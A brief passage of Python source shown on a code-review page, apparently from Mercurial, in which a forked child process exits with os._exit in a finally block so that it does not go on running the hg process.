633 | returncode = 255 | |
|
634 | finally: | |
|
635 | # mission accomplished, this child needs to exit and not | |
|
636 | # continue the hg process here. | |
|
637 | os._exit(returncode) |
General Comments 0
You need to be logged in to leave comments.
Login now